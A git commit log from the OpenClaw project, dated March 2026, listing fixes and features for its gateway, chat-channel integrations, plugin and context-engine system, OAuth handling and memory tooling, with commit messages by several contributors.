b782538743 fix: tune stale workflow limits 2026-03-06 12:08:53 -06:00
Vincent Koc
e3390bfb70 CI: add Barnacle r: too-many-prs guard
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 11:37:00 -06:00
Sally O'Malley
57f19f0d5c container builds: opt-in extension deps via OPENCLAW_EXTENSIONS build arg (#32223)
* Docker: opt-in extension deps via OPENCLAW_EXTENSIONS build arg

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>

* CI: clarify extension smoke scope

* Tests: allow digest-pinned multi-stage FROM lines

* Changelog: note container extension preinstall option

---------

Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 12:18:42 -05:00
Vincent Koc
d070c44091 fix(gateway): keep probe routes reachable with root-mounted control ui (#38199)
* fix(gateway): keep probe routes reachable with root-mounted control ui

* Changelog: add root-mounted probe precedence fix entry

* Update CHANGELOG.md
2026-03-06 12:13:20 -05:00
Ayaan Zaidi
4ed5febc38 chore(extensions): sync plugin versions 2026-03-06 22:26:15 +05:30
Ayaan Zaidi
b12733395e fix(feishu): restore explicit media request timeouts 2026-03-06 22:26:15 +05:30
Vincent Koc
9521e61a22 Gateway: follow up HEIC input image handling (#38146)
* Media: scope HEIC MIME sniffing

* Media: hermeticize HEIC input tests

* Gateway: fix HEIC image budget accounting

* Gateway: add HEIC image budget regression test

* Changelog: note HEIC follow-up fix
2026-03-06 11:53:59 -05:00
Ayaan Zaidi
f9d86b9256 chore: prep #38056 for landing (thanks @0xlin2023) 2026-03-06 22:19:16 +05:30
Ayaan Zaidi
59895f9c5a fix: narrow Telegram failed-after retry match 2026-03-06 22:19:16 +05:30
0xlin2023
e6bf69b366 fix: Telegram API requests fail with Network request failed after
Fixes #28835
2026-03-06 22:19:16 +05:30
0xlin2023
d000316d19 fix: Windows: openclaw plugins install fails with spawn EINVAL
Fixes #7631
2026-03-06 22:19:16 +05:30
Vincent Koc
6a9deb21b8 CI: cover skill and extension tests 2026-03-06 11:21:03 -05:00
Vincent Koc
9aceb51379 Gateway: normalize HEIC input_image sources (#38122)
* Media: normalize HEIC input images

* Gateway: accept HEIC image input schema

* Media: add HEIC input normalization tests

* Gateway: cover HEIC input schema parity

* Docs: document HEIC input image support

* Changelog: note HEIC input image fix
2026-03-06 11:19:36 -05:00
Mark Zhang
81f22ae109 openai-image-gen: validate and normalize --output-format (#36648)
* openai-image-gen: validate and normalize output format

* Skills/openai-image-gen: cover output-format edge cases

* Changelog: note openai image output format validation

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 11:14:30 -05:00
Vincent Koc
f392b81e95 Infra: require explicit opt-in for prerelease npm installs (#38117)
* Infra: tighten npm registry spec parsing

* Infra: block implicit prerelease npm installs

* Plugins: cover prerelease install policy

* Infra: add npm registry spec tests

* Hooks: cover prerelease install policy

* Docs: clarify plugin guide version policy

* Docs: clarify plugin install version policy

* Docs: clarify hooks install version policy

* Docs: clarify hook pack version policy
2026-03-06 11:13:30 -05:00
Vincent Koc
a274ef929f Mattermost: harden interaction callback binding (#38057) 2026-03-06 11:08:45 -05:00
Vincent Koc
222d635aee WhatsApp: honor outbound mediaMaxMb (#38097)
* WhatsApp: add media cap helper

* WhatsApp: cap outbound media loads

* WhatsApp: align auto-reply media caps

* WhatsApp: add outbound media cap test

* WhatsApp: update auto-reply cap tests

* Docs: update WhatsApp media caps

* Changelog: note WhatsApp media cap fix
2026-03-06 11:08:15 -05:00
Mark Zhang
20038fb955 openai-image-gen: validate --background and --style options (#36762)
* openai-image-gen: validate --background and --style inputs

* Skills/openai-image-gen: warn on ignored background and style flags

* Skills/openai-image-gen: cover empty and warning cases

* Changelog: note openai image flag validation

* Skills/openai-image-gen: fix Python import order

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 11:04:25 -05:00
Vincent Koc
7c45d918bf Docs: align BlueBubbles media cap wording 2026-03-06 10:59:05 -05:00
Vincent Koc
9c1786bdd6 Telegram/Discord: honor outbound mediaMaxMb uploads (#38065)
* Telegram: default media cap to 100MB

* Telegram: honor outbound mediaMaxMb

* Discord: add shared media upload cap

* Discord: pass mediaMaxMb to outbound sends

* Telegram: cover outbound media cap sends

* Discord: cover media upload cap config

* Docs: update Telegram media cap guide

* Docs: update Telegram config reference

* Changelog: note media upload cap fix

* Docs: note Discord upload cap behavior
2026-03-06 10:53:06 -05:00
Vincent Koc
9917a3fb77 CI: run changed-scope on main pushes 2026-03-06 10:51:32 -05:00
Vincent Koc
05c2cbf0e9 Skills/nano-banana-pro: clarify MEDIA token comment (#38063) 2026-03-06 10:51:11 -05:00
Mark Zhang
37a3fb0f86 nano-banana-pro: respect explicit --resolution when editing images (#36880)
* nano-banana-pro: respect explicit --resolution when editing images

* Changelog: note nano banana resolution fix

* Update CHANGELOG.md

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 10:44:54 -05:00
Vincent Koc
a820c63912 CI: drop unused install-smoke bootstrap 2026-03-06 10:40:41 -05:00
ABFS Tech
86a89d96d7 fix(nano-banana-pro): remove space after MEDIA: token in generate_image.py (#18706)
The MEDIA: output token must appear at line start with no space after
the colon for OpenClaw's splitMediaFromOutput parser to extract the
file path and auto-attach media on outbound chat channels (Discord,
Telegram, WhatsApp, etc.).

The script was printing 'MEDIA: /path' (with space), which while
tolerated by the regex, does not match the canonical 'MEDIA:/path'
format used by all other skills (e.g. openai-image-gen) and tested
in the codebase (pi-embedded-subscribe.tools.media.test.ts,
media/parse.test.ts).

Also updated the comment to clarify the format constraint.
2026-03-06 10:29:06 -05:00
Vincent Koc
151f26070b docs: context engine 2026-03-06 08:55:58 -05:00
Vincent Koc
5470337b1c docs(config): list the context engine plugin slot 2026-03-06 08:53:30 -05:00
Vincent Koc
7cc3376f07 docs(plugins): add context-engine manifest kind example 2026-03-06 08:53:30 -05:00
Vincent Koc
eb2eebae22 docs(plugins): document context engine slots and registration 2026-03-06 08:53:30 -05:00
Vincent Koc
f788ba142a docs(protocol): document slash-delimited schema lookup plugin ids 2026-03-06 08:53:29 -05:00
Vincent Koc
e88f6605ec docs(tools): document slash-delimited config schema lookup paths 2026-03-06 08:53:29 -05:00
Vincent Koc
9fed9f1302 fix(session): tighten direct-session webchat routing matching (#37867)
* fix(session): require strict direct key routing shapes

* test(session): cover direct route poisoning cases
2026-03-06 08:53:16 -05:00
Josh Lehman
fee91fefce feature(context): extend plugin system to support custom context management (#22201)
* feat(context-engine): add ContextEngine interface and registry

Introduce the pluggable ContextEngine abstraction that allows external
plugins to register custom context management strategies.

- ContextEngine interface with lifecycle methods: bootstrap, ingest,
  ingestBatch, afterTurn, assemble, compact, prepareSubagentSpawn,
  onSubagentEnded, dispose
- Module-level singleton registry with registerContextEngine() and
  resolveContextEngine() (config-driven slot selection)
- LegacyContextEngine: pass-through implementation wrapping existing
  compaction behavior for 100% backward compatibility
- ensureContextEnginesInitialized() guard for safe one-time registration
- 19 tests covering contract, registry, resolution, and legacy parity

* feat(plugins): add context-engine slot and registerContextEngine API

Wire the ContextEngine abstraction into the plugin system so external
plugins can register context engines via the standard plugin API.

- Add 'context-engine' to PluginKind union type
- Add 'contextEngine' slot to PluginSlotsConfig (default: 'legacy')
- Wire registerContextEngine() through OpenClawPluginApi
- Export ContextEngine types from plugin-sdk for external consumers
- Restore proper slot-based resolution in registry

* feat(context-engine): wire ContextEngine into agent run lifecycle

Integrate the ContextEngine abstraction into the core agent run path:

- Resolve context engine once per run (reused across retries)
- Bootstrap: hydrate canonical store from session file on first run
- Assemble: route context assembly through pluggable engine
- Auto-compaction guard: disable built-in auto-compaction when
  the engine declares ownsCompaction (prevents double-compaction)
- AfterTurn: post-turn lifecycle hook for ingest + background
  compaction decisions
- Overflow compaction: route through contextEngine.compact()
- Dispose: clean up engine resources in finally block
- Notify context engine on subagent lifecycle events

Legacy engine: all lifecycle methods are pass-through/no-op, preserving
100% backward compatibility for users without a context engine plugin.

* feat(plugins): add scoped subagent methods and gateway request scope

Expose runtime.subagent.{run, waitForRun, getSession, deleteSession}
so external plugins can spawn sub-agent sessions without raw gateway
dispatch access.

Uses AsyncLocalStorage request-scope bridge to dispatch internally via
handleGatewayRequest with a synthetic operator client. Methods are only
available during gateway request handling.

- Symbol.for-backed global singleton for cross-module-reload safety
- Fallback gateway context for non-WS dispatch paths (Telegram/WhatsApp)
- Set gateway request scope for all handlers, not just plugin handlers
- 3 staleness tests for fallback context hardening

* feat(context-engine): route /compact and sessions.get through context engine

Wire the /compact command and sessions.get handler through the pluggable
ContextEngine interface.

- Thread tokenBudget and force parameters to context engine compact
- Route /compact through contextEngine.compact() when registered
- Wire sessions.get as runtime alias for plugin subagent dispatch
- Add .pebbles/ to .gitignore

* style: format with oxfmt 0.33.0

Fix duplicate import (ControlUiRootState in server.impl.ts) and
import ordering across all changed files.

* fix: update extension test mocks for context-engine types

Add missing subagent property to bluebubbles PluginRuntime mock.
Add missing registerContextEngine to lobster OpenClawPluginApi mock.

* fix(subagents): keep deferred delete cleanup retryable

* style: format run attempt for CI

* fix(rebase): remove duplicate embedded-run imports

* test: add missing gateway context mock export

* fix: pass resolved auth profile into afterTurn compaction

Ensure the embedded runner forwards resolved auth profile context into
legacy context-engine compaction params on the normal afterTurn path,
matching overflow compaction behavior. This allows downstream LCM
summarization to use the intended provider auth/profile consistently.

Also fix strict TS typing in external-link token dedupe and align an
attempt unit test reasoningLevel value with the current ReasoningLevel
enum.

Regeneration-Prompt: |
  We were debugging context-engine compaction where downstream summary
  calls were missing the right auth/profile context in normal afterTurn
  flow, while overflow compaction already propagated it. Preserve current
  behavior and keep changes additive: thread the resolved authProfileId
  through run -> attempt -> legacy compaction param builder without
  broad refactors.

  Add tests that prove the auth profile is included in afterTurn legacy
  params and that overflow compaction still passes it through run
  attempts. Keep existing APIs stable, and only adjust small type issues
  needed for strict compilation.

* fix: remove duplicate imports from rebase

* feat: add context-engine system prompt additions

* fix(rebase): dedupe attempt import declarations

* test: fix fetch mock typing in ollama autodiscovery

* fix(test): add registerContextEngine to diffs extension mock APIs

* test(windows): use path.delimiter in ios-team-id fixture PATH

* test(cron): add model formatting and precedence edge case tests

Covers:
- Provider/model string splitting (whitespace, nested paths, empty segments)
- Provider normalization (casing, aliases like bedrock→amazon-bedrock)
- Anthropic model alias normalization (opus-4.5→claude-opus-4-5)
- Precedence: job payload > session override > config default
- Sequential runs with different providers (CI flake regression pattern)
- forceNew session preserving stored model overrides
- Whitespace/empty model string edge cases
- Config model as string vs object format

* test(cron): fix model formatting test config types

* test(phone-control): add registerContextEngine to mock API

* fix: re-export ChannelKind from config-reload-plan

* fix: add subagent mock to plugin-runtime-mock test util

* docs: add changelog fragment for context engine PR #22201
2026-03-06 05:31:59 -08:00
Gustavo Madeira Santana
fa6c0e1b40 Gateway: allow slash-delimited schema lookup paths 2026-03-06 06:57:19 -05:00
Muhammed Mukhthar CM
4a80d48ea9 fix(mattermost): allow reachable interaction callback URLs (#37543)
Merged via squash.

Prepared head SHA: 4d593731be
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-06 15:27:47 +05:30
Xinhua Gu
01b20172b8 fix(failover): classify HTTP 402 as rate_limit when payload indicates usage limit (#30484) (#36802)
* fix(failover): classify HTTP 402 as rate_limit when payload indicates usage limit (#30484)

Some providers (notably Anthropic Claude Max plan) surface temporary
usage/rate-limit failures as HTTP 402 instead of 429. Before this change,
all 402s were unconditionally mapped to 'billing', which produced a
misleading 'run out of credits' warning for Max plan users who simply
hit their usage window.

This follows the same pattern introduced for HTTP 400 in #36783: check
the error message for an explicit rate-limit signal before falling back
to the default status-code classification.

- classifyFailoverReasonFromHttpStatus now returns 'rate_limit' for 402
  when isRateLimitErrorMessage matches the payload text
- Added regression tests covering both the rate-limit and billing paths
  on 402

* fix: narrow 402 rate-limit matcher to prevent billing misclassification

The original implementation used isRateLimitErrorMessage(), which matches
phrases like 'quota exceeded' that legitimately appear in billing errors.

This commit replaces it with a narrow, 402-specific matcher that requires
BOTH retry language (try again/retry/temporary/cooldown) AND limit
terminology (usage limit/rate limit/organization usage).

Prevents misclassification of errors like:
'HTTP 402: exceeded quota, please add credits' -> billing (not rate_limit)

Added regression test for the ambiguous case.

---------

Co-authored-by: Val Alexander <bunsthedev@gmail.com>
2026-03-06 03:45:36 -06:00
Ayaan Zaidi
ae56597f08 docs(changelog): add codex oauth pr reference (#37558) 2026-03-06 15:07:34 +05:30
Ayaan Zaidi
f051c14325 docs(changelog): fold codex oauth fix notes 2026-03-06 15:07:34 +05:30
Ayaan Zaidi
bdd368533f fix(auth): remove bogus codex oauth responses probe 2026-03-06 15:07:34 +05:30
Vignesh
cbb96d9fe7 Update CHANGELOG.md 2026-03-06 01:19:07 -08:00
Vignesh Natarajan
a4a490bae7 fix(openai-codex-oauth): stop mutating authorize url scopes 2026-03-06 01:13:12 -08:00
zhouhe-xydt
a65d70f84b Fix failover for zhipuai 1310 Weekly/Monthly Limit Exhausted (#33813)
Merged via squash.

Prepared head SHA: 3dc441e58d
Co-authored-by: zhouhe-xydt <265407618+zhouhe-xydt@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-06 12:04:09 +03:00
Altay
ee6f7b1bf0 fix(ci): restore protocol and schema checks (#37470) 2026-03-06 11:46:17 +03:00
Gustavo Madeira Santana
5b03ce77f5 docs(changelog): add pr entry 2026-03-06 02:53:51 -05:00
Gustavo Madeira Santana
ff97195500 Gateway: add path-scoped config schema lookup (#37266)
Merged via squash.

Prepared head SHA: 0c4d187f6f
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-06 02:50:48 -05:00
Vignesh Natarajan
c5828cbc08 fix(onboarding): guard daemon status probe on headless linux 2026-03-05 22:51:58 -08:00
Vignesh Natarajan
30c0f7e89f fix(memory): retry mcporter after Windows EINVAL spawn 2026-03-05 22:27:37 -08:00
Vincent Koc
44ec3e4111 Cron: stabilize runs-one-shot migration tests 2026-03-06 01:27:23 -05:00
Vincent Koc
a622aee45a Cron: migrate legacy provider delivery hints 2026-03-06 01:27:23 -05:00
Vincent Koc
ff334600d5 Gateway: discriminate input sources 2026-03-06 01:27:23 -05:00
Frank Yang
5fdcef7cbe fix(session): prefer webchat routes for direct ui turns (#37135) 2026-03-06 01:14:13 -05:00
Octane
777af476cb Respect source channel for agent event surfacing (#36030) 2026-03-06 01:14:00 -05:00
Vignesh Natarajan
dfe23b9cc4 fix(web_search): align brave language codes with API 2026-03-05 22:12:57 -08:00
Vincent Koc
a939a15607 Gateway: coerce chat deliverable route boolean 2026-03-06 01:05:56 -05:00
Vincent Koc
9dab154519 Gateway: normalize OpenAI stream chunk text 2026-03-06 01:05:56 -05:00
Vignesh Natarajan
726ef48c2a fix(tui): accept canonical session-key aliases in chat event routing 2026-03-05 22:01:06 -08:00
aerelune
0e2bc588c4 fix: enforce 600 perms for cron store and run logs (#36078)
* fix: enforce secure permissions for cron store and run logs

* fix(cron): enforce dir perms and gate posix tests on windows

* Cron store tests: cover existing directory permission hardening

* Cron run-log tests: cover existing directory permission hardening

* Changelog: note cron file permission hardening

---------

Co-authored-by: linhey <linhey@mini.local>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 00:48:35 -05:00
Vincent Koc
6c39616ecd Fix Control UI duplicate iMessage replies for internal webchat turns (#36151)
* Auto-reply: avoid routing external replies from internal webchat turns

* Auto-reply tests: cover internal webchat non-routing with external origin metadata

* Changelog: add Control UI iMessage duplicate-reply fix note

* Auto-reply context: track explicit deliver routes

* Gateway chat: mark explicit external deliver routes in context

* Auto-reply: preserve explicit deliver routes for internal webchat turns

* Auto-reply tests: cover explicit deliver routes from internal webchat turns

* Gateway chat tests: assert explicit deliver route context tagging
2026-03-06 00:47:57 -05:00
Ayaan Zaidi
8c2633a46f fix: clear Telegram DM draft after materialize (#36746) (thanks @joelnishanth) 2026-03-06 11:16:01 +05:30
Vignesh Natarajan
e11a0775e7 fix(agents): avoid xAI web_search tool-name collisions 2026-03-05 21:37:47 -08:00
Vincent Koc
9c86a9fd23 fix(gateway): support image_url in OpenAI chat completions (#34068)
* fix(gateway): parse image_url in openai chat completions

* test(gateway): cover openai chat completions image_url flows

* docs(changelog): note openai image_url chat completions fix (#17685)

* fix(gateway): harden openai image_url parsing and limits

* test(gateway): add openai image_url regression coverage

* docs(changelog): expand #17685 openai chat completions note

* Gateway: make OpenAI image_url URL fetch opt-in and configurable

* Diagnostics: redact image base64 payload data in trace logs

* Changelog: note OpenAI image_url hardening follow-ups

* Gateway: enforce OpenAI image_url total budget incrementally

* Gateway: scope OpenAI image_url extraction to the active turn

* Update CHANGELOG.md
2026-03-06 00:35:50 -05:00
Brenner Spear
36e2e04a32 feat(nano-banana-pro): add --aspect-ratio flag to generate_image.py (#28159)
* feat(nano-banana-pro): add --aspect-ratio flag to generate_image.py

* Nano Banana: allow all supported aspect ratios

* Docs: expand nano banana aspect ratio options

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 00:26:55 -05:00
Vignesh Natarajan
2671f04865 fix(agents): disable usage streaming chunks on non-native openai-completions 2026-03-05 21:23:25 -08:00
joshavant
ca8091491d chore(changelog): update for #37023
Signed-off-by: joshavant <830519+joshavant@users.noreply.github.com>
2026-03-05 23:09:28 -06:00
Josh Avant
0e4245063f CLI: make read-only SecretRef status flows degrade safely (#37023)
* CLI: add read-only SecretRef inspection

* CLI: fix read-only SecretRef status regressions

* CLI: preserve read-only SecretRef status fallbacks

* Docs: document read-only channel inspection hook

* CLI: preserve audit coverage for read-only SecretRefs

* CLI: fix read-only status account selection

* CLI: fix targeted gateway fallback analysis

* CLI: fix Slack HTTP read-only inspection

* CLI: align audit credential status checks

* CLI: restore Telegram read-only fallback semantics
2026-03-05 23:07:13 -06:00
Vignesh Natarajan
8d4a2f2c59 fix(tui): preserve credential-like tokens in render sanitization 2026-03-05 21:06:07 -08:00
dorukardahan
5d4b04040d feat(openai): add gpt-5.4 support for API and Codex OAuth (#36590)
* feat(openai): add gpt-5.4 support and priority processing

* feat(openai-codex): add gpt-5.4 oauth support

* fix(openai): preserve provider overrides in gpt-5.4 fallback

* fix(openai-codex): keep xhigh for gpt-5.4 default

* fix(models): preserve configured overrides in list output

* fix(models): close gpt-5.4 integration gaps

* fix(openai): scope service tier to public api

* fix(openai): complete prep followups for gpt-5.4 support (#36590) (thanks @dorukardahan)

---------

Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
2026-03-05 21:01:37 -08:00
Hinata Kaga (samon)
8c85ad540a fix: remove config.schema from agent gateway tool (#7382)
Merged via squash.

Prepared head SHA: f34a778069
Co-authored-by: kakuteki <61647657+kakuteki@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-05 23:53:08 -05:00
Vignesh Natarajan
4d9134fe9c fix(whatsapp): remove implicit [openclaw] self-chat prefix 2026-03-05 20:49:56 -08:00
Vincent Koc
10fe82fef1 Update CHANGELOG.md 2026-03-05 23:47:21 -05:00
Vincent Koc
8f69e07eb3 Delete changelog/fragments directory 2026-03-05 23:46:55 -05:00
Vincent Koc
9881a74e25 Changelog: add #37179 release note 2026-03-05 23:46:11 -05:00
Vincent Koc
428d1761b4 Plugins: avoid false integrity drift prompts on unpinned updates (#37179)
* Plugins: skip drift prompts for unpinned updates

* Plugins: cover unpinned integrity update behavior
2026-03-05 23:43:35 -05:00
Vignesh Natarajan
91aed291dd fix(memory): handle qmd search results without docid 2026-03-05 20:39:26 -08:00
Vignesh Natarajan
16f9f4dd22 fix(memory): repair qmd collection name conflicts during ensure 2026-03-05 20:31:01 -08:00
Vincent Koc
d4021f4b92 Plugins: clarify registerHttpHandler migration errors (#36794)
* Changelog: note plugin HTTP route migration diagnostics

* Tests: cover registerHttpHandler migration diagnostics

* Plugins: clarify registerHttpHandler migration errors

* Tests: cover registerHttpHandler diagnostic edge cases

* Plugins: tighten registerHttpHandler migration hint
2026-03-05 23:23:24 -05:00
Vincent Koc
e5481ac79f Doctor: warn on implicit heartbeat directPolicy (#36789)
* Changelog: note heartbeat directPolicy doctor warning

* Tests: cover heartbeat directPolicy doctor warning

* Doctor: warn on implicit heartbeat directPolicy

* Tests: cover per-agent heartbeat directPolicy warning

* Update CHANGELOG.md
2026-03-05 23:22:39 -05:00
Vignesh Natarajan
87e38da826 fix(memory): recover qmd updates from duplicate document constraints 2026-03-05 20:20:25 -08:00
Vignesh Natarajan
36afd1b2b0 fix(agents): allow configured ollama endpoints without dummy api keys 2026-03-05 20:13:26 -08:00
Vignesh Natarajan
d45353f95b fix(agents): honor explicit rate-limit cooldown probes in fallback runs 2026-03-05 20:03:06 -08:00
Tak Hoffman
ce71fac7d6 fix(slack): record app_mention retry key before dedupe check (#37033)
- Prime app_mention retry allowance before dedupe so near-simultaneous message/app_mention races do not drop valid mentions.
- Prevent duplicate dispatch when app_mention wins the race and message prepare later succeeds.
- Prune dispatched mention keys and add regression coverage for both dropped and successful in-flight message outcomes.

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 21:47:52 -06:00
Vignesh Natarajan
05fb16d151 fix(agent): harden undici stream timeouts for long openai-completions runs 2026-03-05 19:44:11 -08:00
Vignesh Natarajan
4daaea1190 fix(agents): avoid synthetic tool-result writes on idle-timeout cleanup 2026-03-05 19:29:18 -08:00
Tyler Yust
81b93b9ce0 fix(subagents): announce delivery with descendant gating, frozen result refresh, and cron retry (#35080)
Thanks @tyler6204
2026-03-05 19:20:24 -08:00
Vignesh Natarajan
fa3fafdde5 fix(auth): harden openai-codex oauth refresh fallback 2026-03-05 19:17:58 -08:00
Vincent Koc
71ec42127d feat(hooks): emit compaction lifecycle hooks (#16788) 2026-03-05 19:08:26 -08:00
Vignesh Natarajan
2f86ae71d5 fix(subagents): recover announce cleanup after kill/complete race 2026-03-05 19:03:56 -08:00
Vignesh Natarajan
604f22c42a fix(heartbeat): pin HEARTBEAT.md reads to workspace path 2026-03-05 18:52:39 -08:00
dunamismax
1efa7a88c4 fix(slack): thread channel ID through inbound context for reactions (#34831)
Slack reaction/thread context routing fixes via canonical synthesis of #34831.

Co-authored-by: Tak <tak@users.noreply.github.com>
2026-03-05 20:47:31 -06:00
Vignesh Natarajan
909f26a26b fix(kimi-coding): normalize anthropic tool payload format 2026-03-05 18:43:15 -08:00
littleben
b39ca7eccb fix(slack): remove double mrkdwn conversion in native streaming path
Remove redundant text normalization from Slack native streaming markdown_text flow so Markdown formatting is preserved.

Synthesis context: overlaps reviewed from #34931, #34759, #34716, #34682, #34814.

Co-authored-by: littleben <1573829+littleben@users.noreply.github.com>
Co-authored-by: dunamismax <dunamismax@tutamail.com>
Co-authored-by: Octane <wdznb1@gmail.com>
Co-authored-by: Mitsuyuki Osabe <24588751+carrotRakko@users.noreply.github.com>
Co-authored-by: Kai <me@kaiyi.cool>
Co-authored-by: OpenClaw Agent <agent@openclaw.ai>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 20:34:43 -06:00
Vignesh Natarajan
1ab9393212 fix(secrets): harden api key normalization for ByteString headers 2026-03-05 18:31:45 -08:00
Sid
7a22b3fa0b feat(agents): flush reply pipeline before compaction wait (#35489)
Merged via squash.

Prepared head SHA: 7dbbcc510b
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 18:22:19 -08:00
Vignesh Natarajan
6084c26d00 fix(tui): render final event error when assistant output is empty (#14687) 2026-03-05 18:16:43 -08:00
zerone0x
94fdee2eac fix(memory-flush): ban timestamped variant files in default flush prompt (#34951)
Merged via squash.

Prepared head SHA: efadda4988
Co-authored-by: zerone0x <39543393+zerone0x@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 18:15:13 -08:00
Vignesh Natarajan
8088218f46 fix(openai-codex): request required oauth api scopes (#24720) 2026-03-05 18:10:03 -08:00
Josh Avant
fb289b7a79 Memory: handle SecretRef keys in doctor embeddings (#36835)
Merged via squash.

Prepared head SHA: c1a3d0caae
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Reviewed-by: @joshavant
2026-03-05 20:05:59 -06:00
Vignesh Natarajan
cec5535096 fix(tui): prevent stale model indicator after /model 2026-03-05 17:39:19 -08:00
Vignesh Natarajan
d326861eb4 fix(gateway): preserve streamed prefixes across tool boundaries 2026-03-05 17:28:22 -08:00
Harold Hunt
d58dafae88 feat(telegram/acp): Topic Binding, Pin Binding Message, Fix Spawn Param Parsing (#36683)
* fix(acp): normalize unicode flags and Telegram topic binding

* feat(telegram/acp): restore topic-bound ACP and session bindings

* fix(acpx): clarify permission-denied guidance

* feat(telegram/acp): pin spawn bind notice in topics

* docs(telegram): document ACP topic thread binding behavior

* refactor(reply): share Telegram conversation-id resolver

* fix(telegram/acp): preserve bound session routing semantics

* fix(telegram): respect binding persistence and expiry reporting

* refactor(telegram): simplify binding lifecycle persistence

* fix(telegram): bind acp spawns in direct messages

* fix: document telegram ACP topic binding changelog (#36683) (thanks @huntharo)

---------

Co-authored-by: Onur <2453968+osolmaz@users.noreply.github.com>
2026-03-06 02:17:50 +01:00
Vignesh Natarajan
92b4892127 fix(auth): harden openai-codex oauth login path 2026-03-05 17:16:34 -08:00
vignesh07
3cd4978a09 fix(llm-task): load runEmbeddedPiAgent from dist/extensionAPI in installs 2026-03-05 17:16:14 -08:00
Vignesh Natarajan
d86a12eb62 fix(gateway): honor insecure ws override for remote hostnames 2026-03-05 17:04:26 -08:00
Vignesh Natarajan
c260e207b2 fix(routing): avoid full binding rescans in resolveAgentRoute (#36915) 2026-03-05 16:49:29 -08:00
Gustavo Madeira Santana
1a67cf57e3 Diffs: restore system prompt guidance (#36904)
Merged via squash.

Prepared head SHA: 1b3be3c879
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-05 19:46:39 -05:00
Vignesh Natarajan
06a229f98f fix(browser): close tracked tabs on session cleanup (#36666) 2026-03-05 16:40:52 -08:00
Gustavo Madeira Santana
6dfd39c32f Harden Telegram poll gating and schema consistency (#36547)
Merged via squash.

Prepared head SHA: f77824419e
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-05 19:24:43 -05:00
Vignesh Natarajan
f771ba8de9 fix(memory): avoid destructive qmd collection rebinds 2026-03-05 16:04:22 -08:00
Gustavo Madeira Santana
688b72e158 plugins: enforce prompt hook policy with runtime validation (#36567)
Merged via squash.

Prepared head SHA: 6b9d883b6a
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-05 18:15:54 -05:00
Bob
063e493d3d fix: decouple Discord inbound worker timeout from listener timeout (#36602) (thanks @dutifulbob) (#36602)
Co-authored-by: Onur Solmaz <2453968+osolmaz@users.noreply.github.com>
2026-03-06 00:09:14 +01:00
joshavant
97ea9df57f README: add algal to contributors list (#2046) 2026-03-05 17:07:03 -06:00
littleben
b9a20dc97f fix(slack): preserve dedupe while recovering dropped app_mention (#34937)
This PR fixes Slack mention loss without reintroducing duplicate dispatches.

- Preserve seen-message dedupe at ingress to prevent duplicate processing.
- Allow a one-time app_mention retry only when the paired message event was previously dropped before dispatch.
- Add targeted race tests for both recovery and duplicate-prevention paths.

Co-authored-by: littleben <1573829+littleben@users.noreply.github.com>
Co-authored-by: OpenClaw Agent <agent@openclaw.ai>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 17:00:05 -06:00
2233admin
7830366f3c fix(slack): propagate mediaLocalRoots through Slack send path
Restore Slack local file upload parity with CVE-era local media allowlist enforcement by threading `mediaLocalRoots` through the Slack send call chain.

- pass `ctx.mediaLocalRoots` from Slack channel action adapter into `handleSlackAction`
- add and forward `mediaLocalRoots` in Slack action context/send path
- pass `mediaLocalRoots` into `sendMessageSlack` for upload allowlist enforcement
- add changelog entry with attribution for this behavior fix

Co-authored-by: 2233admin <1497479966@qq.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 16:52:49 -06:00
Bill
a0b731e2ce fix(config): prevent RangeError in merged schema cache key generation
Fix merged schema cache key generation for high-cardinality plugin/channel metadata by hashing incrementally instead of serializing one large aggregate string.

Includes changelog entry for the user-visible regression fix.

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Bill <gsamzn@gmail.com>
2026-03-05 16:45:07 -06:00
Sid
60d33637d9 fix(auth): grant senderIsOwner for internal channels with operator.admin scope (openclaw#35704)
Verified:
- pnpm install --frozen-lockfile
- pnpm build
